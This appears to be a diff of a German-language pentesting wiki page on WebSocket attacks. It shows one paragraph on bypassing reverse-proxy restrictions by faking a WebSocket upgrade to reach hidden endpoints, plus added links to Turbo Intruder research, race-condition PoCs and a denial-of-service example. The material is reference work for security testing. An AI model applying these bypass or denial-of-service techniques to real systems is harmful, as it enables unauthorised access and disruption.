+Diese Schwachstelle könnte es ermöglichen, die Einschränkungen von reverse proxies zu **umgehen**, indem man sie dazu bringt zu glauben, dass eine **websocket communication** etabliert wurde (auch wenn das nicht der Fall ist). Dadurch könnte ein Angreifer auf **versteckte Endpunkte** zugreifen. Für mehr Informationen siehe die folgende Seite:
 
 
 {{#ref}}
 h2c-smuggling.md
 {{#endref}}
 
-## Referenzen
+## References
 
 - [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
 - [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
+- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
+- [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
+- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
+- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
+- [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
+- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
+- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
+- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
 
 {{#include ../banners/hacktricks-training.md}}